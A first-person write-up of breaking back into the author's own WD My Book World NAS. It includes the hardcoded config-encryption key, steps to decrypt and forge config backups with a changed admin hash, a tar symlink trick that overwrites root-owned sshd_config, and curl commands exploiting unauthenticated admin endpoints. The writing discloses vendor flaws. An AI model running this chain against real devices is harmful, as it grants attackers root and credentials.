I got my WD My Book World Edition II NAS out of the closet. The reason it went in the closet is that I locked myself out of SSH access, and in the meantime I forgot most of its passwords.

Still, I need a NAS, so let's get it back in working order. One could just perform a full reset, but what's the fun in that?

Chapter I. Config backup.

I miraculously still remember the password to my regular user, but the admin password is nowhere to be found and you need the old one to change it. So I start poking around to see if there is any way to recover it.

One of the most common vulnerabilities on these thingies is allowing anyone to download a "config backup" that includes all the juicy passwords, and indeed, this screen looks promising:

But it's not that boring! Here's how the dowloaded file - named, weirdly, config-BookSottile.20150208122310.xml - looks like:

p8G6HOU900Q0bo9l1OMZg1yEmvtxKVDjp3lcc3x{SWH8ywI0GQb9twFYaVI1U1BS RUZzqz8SJQu3M3O43uyMGBBnSUoCi5RcCPA2OFHyUCkOA4sYNkEopIs5isXOfhJ9 Qd9EIngaAhzEUwndW7cbC{cRmypBbmjVX9}Ff2aUA97LuDVCLwjXcbCtos1Omuaa Oo7{Fg3B5KU0QXKY}GVWsvkTjKFXOw91z4c3oTl2DnyrnrVH5fZZd61c3TjxV0fE JVJXA9s9C18b27srA34zNWavnNO6x2o}IkI8kxKR3Y5m{A8b2HXmZ7vcB{T{}HTI OeLNh7}rbmeA5e1Ioy96KUvNDBZ1cGIf1bwsc7iRhsuGIBnmFq6}fjIF5VhZaVFN tDY04ZDWkm6G}lnTR1vINYzKSCN6M{Ed6OrSNVdrmvHUir3woZGiLBSZyg{Jw8}w [...] E6}SLkqkpTiXl1IDfaBVPqs90WGcjFCGr2B2jnD}27TMCnE6Lsxfx7jM78SdAXqo gewPcglYIoLirg9YIqUgLffpaiCp3RqiYpwaMqEqeW1BeCH4wsnLWYSnQkb0Ydij UeHma4MrZ2bnoXELOop0yIjaQ8Qm5vMob{mXV92}aE8pB6{j8T2}ElkGA{2T{NAb Vyzyf3tZk2YFM4YONcTm9c78MxFiD6{FG{0ell2pd13{nuaCoqScw7Lt0V2BwOn3 kmadO9zF2AxnOxLLHfrCex6VjG0ZircjOI5gz2b1nwGkbQ32T8EOc{dIGLOB4sfO 6s2Eof7ftYbnc8{vo{QNUPIsCrUJpfsQ0lBLoTPLFH1siUF3lP9ug{ia7l81QcqZ JNJZid6jhWmM4B0Ddf}0M4UEj9B7Tw5b77B{BXaHkZ6TLf6PT7WiwWygYL6Kuwh2 {aB4CRg95wq15H17l9GAAPugUekgev6}KBp7y4cuOTlViBLbbN1aCBAuE1OBDjPq

So I lost my NAS admin password. But it lets me download a config backup. That looks like this. It’s on. pic.twitter.com/00Tlw9U0Gp — Filippo Valsorda (@FiloSottile) 8 Febbraio 2015

A "challenge accepted" tweet and my colleague at CloudFlare Daniel joined me.

So this looks like base64, but what's the deal with the curly brackets? They're not balanced, so they probably don't have lexical meaning:

#!/usr/bin/env python3 import sys op, cl = 0, 0 for ch in sys.stdin.read(): if ch == '{': op += 1 if ch == '}': cl += 1 print(op, cl)

152 180

The base64 charset is composed of upper-lower alpha-number PLUS two characters, usually + and / . Apparently here { and } are used instead.

So we know how to decode that!

#!/usr/bin/env python3 import base64, sys res = base64.b64decode(sys.stdin.read(), '{}') sys.stdout.buffer.write(res)

The result? Random gibberish. How random? A lot, according to binwalk.

➜ NAS binwalk -E base.debased DECIMAL HEXADECIMAL ENTROPY --------------------------------------------- 0 0x0 0.974186 1024 0x400 0.974860 2048 0x800 0.973665 3072 0xC00 0.976039 4096 0x1000 0.976725 5120 0x1400 0.975928 6144 0x1800 0.976379 7168 0x1C00 0.964294

Other interesting things:

the last line is always whole and without trailing = (padding!)

(padding!) every time I re-download this the whole file changes

Random + always different + padded = (well) encrypted. Nice.

If only we had SSH access we could snoop at what process does the decryption. But I locked myself out of that. We have to hope for a hardcoded key.

At this point I'm getting ready to binwalk the hell out of the firmware while Daniel goes "hey, I'm gonna check the GPL sources...".

Mandatory Open Source releases usually have LICENSE files or some other indication of what libraries are being used, so he's hoping to find some clue on what they used. (ProTip!)

Well, by the time I had installed binwalk he had the sources. Not just, say, the kernel. All the sources.

Why WD published everything? We have no idea. I mean, there's a file called aaa with a VCS log in there!

... ---------------------------- revision 1.33 date: 2007/06/14 07:27:19; author: wiley; state: Exp; lines: +4 -4 multilingual ---------------------------- revision 1.32 date: 2006/11/29 02:26:49; author: wiley; state: Exp; lines: +2 -2 branches: 1.32.2; 1.32.4; add help ---------------------------- revision 1.31 date: 2006/11/09 01:43:41; author: wiley; state: Exp; lines: +2 -2 add target, such as share name, user name, in successful message after submit ---------------------------- revision 1.30 date: 2006/11/07 09:37:58; author: wiley; state: Exp; lines: +2 -3 update ---------------------------- ...

Anyway, from here it's downhill. And horrible. And hilarious.

system_download_config.php

#!/usr/bin/php <?php require_once('webhooks.inc'); @chdir('/tmp'); $key = __CODEX_KEY__; $file = 'config.xml'; @unlink("$file"); @unlink("$file.md5"); @unlink("$file.tar"); @unlink("$file.xtx"); @copy($webHooks->conf_file, "$file"); @system("/usr/bin/md5sum \"$file\" >\"$file.md5\""); @system("/bin/tar cf \"$file.tar\" \"$file\" \"$file.md5\""); @system("/usr/bin/encodex -k=\"$key\" \"$file.tar\" \"$file.xtx\""); $fn = 'config-' . htmlspecialchars($webHooks->conf['machinename']) . '.' . date('YmdHis') . '.xml'; $fs = filesize("$file.xtx"); header('Content-Type: application/octet-stream'); header("Content-Disposition: attachment; filename=$fn"); header("Content-Length: $fs"); readfile("$file.xtx"); @unlink("$file"); @unlink("$file.md5"); @unlink("$file.tar"); exit; ?>

wixBase.class

[...] define ('__CODEX_KEY__', 'Nj1e2w0a0b'); [...]

Looks like it's a tarball encrypted with something called encodex and a fixed password, let's see if... Yep, there it is.

➜ NAS tree WD-MyBookWorld-v1.02.12-GPL/sources/package/codex/codex-0.1 WD-MyBookWorld-v1.02.12-GPL/sources/package/codex/codex-0.1 ├── base64.c ├── blowfish.c ├── cline.c ├── compr.c ├── crc32.c ├── decodex.c ├── encodex.c ├── endian.c ├── errexit.c ├── md5.c ├── rand32.c ├── randbyte.c ├── textectest.xtx └── toolbox.h 0 directories, 14 files

Here are the two main files. The encryption might actually be solid.

So we just compile the decodex tool, run it on the "xml" backup with the fixed key, get a tarball, extract the tarball, and...

➜ NAS gcc WD-MyBookWorld-v1.02.12-GPL/sources/package/codex/codex-0.1/decodex.c -D_POSIX_SOURCE -o decodex -w ➜ NAS ./decodex -k="Nj1e2w0a0b" config.xml config.tar ./decodex: decrypt text in textec format. Step 0: Reading 10465 bytes from config.xml Step 1: Decoding64 raw input 10465 bytes Step 2: Decrypting 7685 bytes Step 3: Decompressing 7669 bytes Step 4: Writing 20480 bytes to config.tar ➜ NAS tar xvf config.tar x config.xml x config.xml.md5 ➜ NAS cat config.xml.md5 f54b920e3b2cbb13f171448ac6f4597c config.xml ➜ NAS gmd5sum config.xml f54b920e3b2cbb13f171448ac6f4597c config.xml

Chapter II. Password reset.

So we got the config file. Is it over? Nope. No passwords in it. This system does everything wrong, except maybe this. (Well, it's unsalted MD5, but still better than the rest.)

<nasuser> <username>admin</username> <fullname>Administrator</fullname> <htpasswd>nRUqi08/4DJH2</htpasswd> <htusers>21ba0c86fe368810c3a38186a4d05ecc</htusers> <passwd>$1$$XbO633pBxu9C.GYKQxYNE1</passwd> <smblan>927097A9657166E7C482C03F54CDB5D9</smblan> <smbnt>B485FD87A7635F38603D9F8933C216C3</smbnt> <smbac>[U ]</smbac> <smblt>LCT-517A5581</smblt> <adminright>yes</adminright> </nasuser>

Let's go back for a moment to the "change admin password" screen - we now have the source! - to see how it's stored. (Ignore the fact that they base64 it, I have no idea.)

system_change_admin_passwd.php

function onSubmit() { document.setup_form.oldpasswd.value = Base64.encode(document.setup_form.oldpasswd.value); document.setup_form.webpasswd.value = Base64.encode(document.setup_form.webpasswd.value); document.setup_form.webpasswdcheck.value = Base64.encode(document.setup_form.webpasswdcheck.value); } [...] $new_oldpasswd = base64_decode($_POST['oldpasswd']); $new_webpasswd = base64_decode($_POST['webpasswd']); $new_webpasswdcheck = base64_decode($_POST['webpasswdcheck']); [...] if (!$webHooks->ChangeWebAdmin($new_oldpasswd, $new_webpasswd)) { $message = $webHooks->GetErrMsg(); }

wixHooks.class

/* * Setup the password for web administrator. * @param string $old_passwd * @param string $new_passwd */ function ChangeWebAdmin($old_passwd, $new_passwd, $check_old_passwd = TRUE){ // ====================================================== // Semaphore if(!obtain_semaphore()) { return error_semaphore_msg($this->message); } // ====================================================== $haObj = new wixHTTPAccess(); $admin = $this->sys_var['webui_admin']; // do not allowed empty string for new password if ($new_passwd == '') { $this->message[] = $this->lang['hooks']['errmsg'][4]; return FALSE; } $this->message[] = $this->lang['hooks']['errmsg'][6]; // .htusers.conf => $this->conf['access']['users']['nasuser'][admin_index]['htusers'] // smbpasswd => $this->conf['access']['users']['nasuser'][admin_index]['smblan'] // $this->conf['access']['users']['nasuser'][admin_index]['smbnt'] // $this->conf['access']['users']['nasuser'][admin_index]['smbac'] // $this->conf['access']['users']['nasuser'][admin_index]['smblt'] // passwd => $this->conf['access']['users']['nasuser'][admin_index]['passwd'] if (($admin_index = $this->is_user_existed($admin)) === FALSE) { return FALSE; } else if ($check_old_passwd) { // match between password from input and password from system if ($old_passwd == '' || md5(stripslashes($old_passwd)) != $this->conf['access']['users']['nasuser'][$admin_index]['htusers']) { $this->reset_message(); $this->message[] = $this->lang['hooks']['errmsg'][5]; return FALSE; } } /******** START TO BACKUP ********/ $rollbackObj = new wixRollBack(); $rollbackObj->BACKUP('CHANGEWEBADMIN'); /*********************************/ // for .htusers.conf $new_md5_passwd = md5(stripslashes($new_passwd)); $orig_http_user_config = $haObj->orig_user_config(); $http_user_config = $orig_http_user_config; $this->conf['access']['users']['nasuser'][$admin_index]['htusers'] = md5(stripslashes($new_passwd)); if (($http_user_config = $haObj->make_user_config_array($http_user_config, $admin, $this->conf['access']['users']['nasuser'][$admin_index]['htusers'], TRUE)) === FALSE) { $rollbackObj->ROLLBACK('CHANGEWEBADMIN'); return FALSE; } else { if (!$haObj->UpdateHTTPAccessUserConf($http_user_config)) { $rollbackObj->ROLLBACK('CHANGEWEBADMIN'); return FALSE; } } // for smbpasswd $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('file', '/dev/null', 'w')); $command = "/usr/bin/smbpasswd -as $admin"; // using stdin $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0],"$new_passwd

"); fwrite($pipes[0],"$new_passwd

"); fclose($pipes[0]); fclose($pipes[1]); $retval = proc_close($process); if (!is_numeric($retval) || $retval != 0) { $rollbackObj->ROLLBACK('CHANGEWEBADMIN'); return FALSE; } else { unset($output); @exec("/bin/grep \"$admin:\" /usr/private/smbpasswd", $output); $field = explode(':', $output[0]); $this->conf['access']['users']['nasuser'][$admin_index]['smblan']= $field[2]; $this->conf['access']['users']['nasuser'][$admin_index]['smbnt'] = $field[3]; $this->conf['access']['users']['nasuser'][$admin_index]['smbac'] = $field[4]; $this->conf['access']['users']['nasuser'][$admin_index]['smblt'] = $field[5]; } } // for passwd in /etc @system("/bin/echo \"$new_passwd\" | /usr/bin/passwd --stdin $admin >/dev/null 2>&1", $retval); if (!is_numeric($retval) || $retval != 0) { $rollbackObj->ROLLBACK('CHANGEWEBADMIN'); return FALSE; } else { unset($output); @exec("/bin/grep \"$admin:\" /etc/shadow | /usr/bin/cut -d : -f 2", $output); $this->conf['access']['users']['nasuser'][$admin_index]['passwd'] = $output[0]; } $GLOBALS['__SESSION']["s_pass"] = $new_md5_passwd; return $this->__write_config(); }

So yeah, it's md5(stripslashes($new_passwd)) and there's a check for md5(stripslashes($old_passwd)) != $this->conf['access']['users']['nasuser'][$admin_index]['htusers'] .

Well, we might try to crack it, but what's the need when we can just patch the config file? :)

We can change the hash in the xml, repackage it, encrypt it and upload it for a "config restore"!

Let's follow the process we used above in reverse (this is the short version - in real life I created half a dozen borked payloads, and Daniel corrected me as many times):

➜ NAS echo -n password | gmd5sum 5f4dcc3b5aa765d61d8327deb882cf99 - ➜ NAS sed -i .bak 's/21ba0c86fe368810c3a38186a4d05ecc/5f4dcc3b5aa765d61d8327deb882cf99/' config.xml ➜ NAS diff config.xml config.xml.bak 87c87 < <htusers>5f4dcc3b5aa765d61d8327deb882cf99</htusers> --- > <htusers>21ba0c86fe368810c3a38186a4d05ecc</htusers> ➜ NAS gmd5sum config.xml > config.xml.md5 ➜ NAS gtar -cf config.tar config.xml config.xml.md5 ➜ NAS ../encodex -k="Nj1e2w0a0b" config.tar payload.xml ../encodex: encrypt text in textec format. Step 0: Reading 20480 bytes from config.tar Step 1: Compresing 20480 bytes ... to 7699 Step 2: Encrypting 7700 bytes, IV: 59844070 2e1ee04a Step 3: Encoding64 7716 bytes Step 4: Writing 10465 bytes to payload.xml

We upload payload.xml as a config restore, watch the reboot happen, cross our fingers and... login with admin/password! :D

Now we can reset the admin password properly to make the change propagate fully.

Decrypted the config, changed the pw hash, repackaged the config, uploaded it, used the web UI to complete the change pic.twitter.com/EZODbyAlW8 — Filippo Valsorda (@FiloSottile) 8 Febbraio 2015

Chapter III. Symlink.

Great. Fun. Is it enough? No! I locked myself out of ssh access too, by adding an unmatchable AllowUsers directive to my sshd_config.

So what we need is to overwrite /etc/sshd_config , owned by root. We're getting serious.

Next round: I locked myself out by adding AllowUsers to sshd_config. Need a root arbitrary file overwrite vulnerability. It’s on. — Filippo Valsorda (@FiloSottile) 8 Febbraio 2015

We can recover the original sshd_config from the distribution and patches we find conveniently in sources/package/ .

First realization, the whole webgui runs as root. Look at ChangeWebAdmin above, it calls passwd and reads /etc/shadow !

Good, and we know we can get it to untar our arbitrary archives. Here's a close-up of where it happens:

system_config_manage.php

if ($new_submit_type == 'downloadconfig') { $webHooks->DownloadConfig(); } else if ($new_submit_type == 'restoreconfiggeneral' || $new_submit_type == 'restoreconfigfull') { if($_FILES['conffile']['type'] != 'text/xml' && $_FILES['conffile']['type'] != 'application/xml') { $message[] = htmlspecialchars($lang['system']['errmsg'][8]); } else { $pwd = getcwd(); @chdir('/tmp'); @unlink('/tmp/.uploadconfig.xml'); @unlink('/tmp/.uploadconfig.xml.xtx'); @unlink('/tmp/.uploadconfig.xml.tar'); @unlink('/tmp/config.xml'); @unlink('/tmp/config.xml.md5'); move_uploaded_file($_FILES['conffile']['tmp_name'], '/tmp/.uploadconfig.xml.xtx'); // decode @system('/usr/bin/decodex -k="'.__CODEX_KEY__.'" "/tmp/.uploadconfig.xml.xtx" "/tmp/.uploadconfig.xml.tar" >/dev/null 2>&1', $retval_decode); // untar @system('/bin/tar -xf "/tmp/.uploadconfig.xml.tar" >/dev/null 2>&1', $retval_untar); // md5 check @system('/usr/bin/md5sum -c "config.xml.md5" >/dev/null 2>&1', $retval_md5); @chdir($pwd); if ($retval_decode == 0 && $retval_untar == 0 && $retval_md5 == 0) { @copy('/tmp/config.xml', '/tmp/.uploadconfig.xml'); if(!($upload_conf = $xmlObj->ParseXML('/tmp/.uploadconfig.xml', 'wixnas'))) { $message[] = htmlspecialchars($lang['system']['errmsg'][9]); @unlink('/tmp/.uploadconfig.xml'); } } else { $message[] = htmlspecialchars($lang['system']['errmsg'][8]); } } @unlink('/tmp/.uploadconfig.xml.xtx'); @unlink('/tmp/.uploadconfig.xml.tar'); @unlink('/tmp/config.xml'); @unlink('/tmp/config.xml.md5');

That plus the fact that it's probably a BusyBox implementation of tar might mean that the oldest trick in the book works: creating an archive with a fully-qualified /etc/sshd_config file in it and hope it gets extracted directly at the absolute path.

➜ NAS gtar -c --transform 's,^,/etc/,' --numeric-owner -f bomb.tar -v sshd_config sshd_config ➜ NAS gtar -tvf bomb.tar -rw-r--r-- 0/0 2862 2015-02-08 15:56 /etc/sshd_config ➜ NAS ../encodex -k="Nj1e2w0a0b" bomb.tar bomb.xml ../encodex: encrypt text in textec format. Step 0: Reading 10240 bytes from bomb.tar Step 1: Compresing 10240 bytes ... to 2889 Step 2: Encrypting 2890 bytes, IV: 56e08c81 1a8084 Step 3: Encoding64 2906 bytes Step 4: Writing 3965 bytes to bomb.xml

We upload bomb.xml, get an error as we would expect (no config.xml inside the tarball) and give it a try...

sshd[3462]: User root not allowed because not listed in AllowUsers

No luck. Second try: we see that it's extracted in /tmp , what if we call it ../etc/sshd_config ? No luck with that neither.

But hey... we can extract as much as we want in /tmp and nothing will get deleted between a run and the next! So let's try with a convenient symlink :)

First we plant a root => / symlink by uploading this:

➜ NAS ln -s / root ➜ NAS gtar -c -f root.tar root ➜ NAS gtar -tvf root.tar lrwxr-xr-x filippo/staff 0 2015-02-12 04:05 root -> / ➜ NAS ../encodex -k="Nj1e2w0a0b" root.tar root.xml

And now that /tmp/root points to / we try calling our file root/etc/sshd_config and hope it gets extracted inside the symlink:

➜ NAS gtar -c --transform 's,^,root/etc/,' --numeric-owner -f bomb.tar -v sshd_config sshd_config ➜ NAS gtar -tvf bomb.tar -rw-r--r-- 0/0 2862 2015-02-08 15:56 root/etc/sshd_config ➜ NAS ../encodex -k="Nj1e2w0a0b" bomb.tar bomb.xml

Drum roll...

➜ NAS ssh root@192.168.42.70 root@192.168.42.70's password: ~ #

Boom.

The config restore runs untar as root. Planted a symlink “root -> /”. Then, uploaded root/etc/sshd_config. Pwn’d. pic.twitter.com/dxzs5vVYwP — Filippo Valsorda (@FiloSottile) 8 Febbraio 2015

Chapter IV. Unauthenticated.

This is all nice, but I started from a vantage point: I remembered a user login. Can we do something from scratch?

For example, extracting the config... It didn't look like that PHP file had any access control, is it possible that... Oh God.

➜ NAS curl http://192.168.42.70/admin/system_download_config.php 4CevIJT500BGbfJuMNyxplUmRcCqId1c3SVqVqRSONC8D}nJBooj2cMZ{dxaa}Zr N8KSuYX2SDo03C}UIUq7SwEN1PaS6fFkprJtv21GsixtqwcU5gqjPC6Te5WgT}G{ Yk4S7KtGb2j3TI7WAKPk7W4yEr76m1{IFArp2TMAw}IAV4RrcfWCldHtdhffHiR8 pU4BDYAzkkUay4Pca{fliYVcfM6kDdDt7{tfdaKfdeJuBBca9QmsYenVdpfSydSf 8W5qwNUz7x{tS2CWcp7ywXNCS1TpoLJ{jTjkh}jlZ4CeE0T8mObX6YiHinQk8{ty eDdGGaUnomrUOK4jDbNE2Bhb5ARSQ7FeBRWgFKS2{oZd0Lmu7pBeyO1gAWdQY2kc UFkbqXtOzS6X3IPrJoMAKj41yQEXDBr1L4KJJNS}0X4VV1Veb28{}zQcXWn}ltZL OS}8oqY{M2MVpBeTlURzFuRd}L7bECEV1rVoxpa2sABc8U9bjvaZhF7Qt1XDLobt [...]

If we can crack any user password from the MD5, we can go from zero to root with the above.

BUT IT'S NOT ALL! As I discovered after locking myself out AGAIN somehow (This thing hates me. And it has its reason.)

All actions are actually unauthenticated. If you are not logged in the NAS will answer with a HTTP 302 Redirect... AND THEN PROCEED HANDLING THE REQUEST and sending the output. As if you were logged in. That's a first for me.

Let me repeat this: if you are not logged in, the only thing the system will do is add a redirect to the login page in the HTTP Headers and carry on, obeying whatever you are telling it to do.

So with the admin password reset trick above, we can get a full escalation from unauth to admin+root. Pwn'd. (The hardest thing was emulating the browser request with curl well enough to upload the file.)

➜ AGAIN curl -i -k https://192.168.42.66/admin/system_config_manage.php -F submit_type=restoreconfiggeneral -F conffile='@payload.xml;type=text/xml' | diff -u system_config_manage.php.log - % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 10581 0 0 100 10581 0 2127 0:00:04 0:00:04 --:--:-- 2127curl: (56) SSLRead() return error -9806 --- system_config_manage.php.log 2015-02-10 03:05:39.000000000 +0000 +++ - 2015-02-10 03:21:56.000000000 +0000 @@ -1,11 +1,13 @@ HTTP/1.0 302 Found Status: 302 X-Powered-By: PHP/4.4.2 -Set-Cookie: PHPSESSID=6d2b75211da896da5575c2307ce1e799; path=/ +Set-Cookie: PHPSESSID=5f352d9c5a00441803be9a6c457f45ab; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache -Location: https://192.168.42.66/?lang=en +Set-Cookie: info_type=SUCCESS +Set-Cookie: message=Please+wait+.....%26nbsp%3B%3Cspan+id%3D%22theTime%22+class%3D%22timeClass%22%3E1%3A00%3C%2Fspan%3E%3Cscript%3Ecd%28%221%22%2C%2201%22%29%3C%2Fscript%3E +Location: system_config_manage.php?lang=en Content-type: text/html @@ -224,6 +226,15 @@ <form action="/admin/system_config_manage.php?lang=en" method="post" name="setup_form" id="setup_form" enctype="multipart/form-data" onSubmit="return confirmSubmit();"> <input name="submit_type" type="hidden" id="submit_type" value=""> <input name="upload_path" type="hidden" id="upload_path" value=""> +<span id="span_rtnMessage"><table cellpadding="0" cellspacing="0" class="tbMessage"><tr><td> + <div class="column span-13 prepend-3 append-2 last" id="rtnMessage"> + <div class="msg"> + <ul class="ok" style="padding-left: 5px; padding-top: 5px; padding-bottom: 5px;"> + <h2>Please wait ..... <span id="theTime" class="timeClass">1:00</span><script>cd("1","01")</script></h2> + </ul> + </div> + </div> +</td></tr></table></span> <table cellpadding="0" cellspacing="0" class="tbSetup"> <tr> <td colspan="2" class="listtopic">

(Or just use any MitM tool to turn 302 into 200 and use your browser as if you were logged in. Or anything really, everything is unauthenticated and you have the source. ᕕ(ᐛ)ᕗ)

Conclusion.

So yeah, don't expose these thingies on the Internet and don't worry too much if you lose the passwords ;-)

Ah, you might want to follow me on Twitter at this point.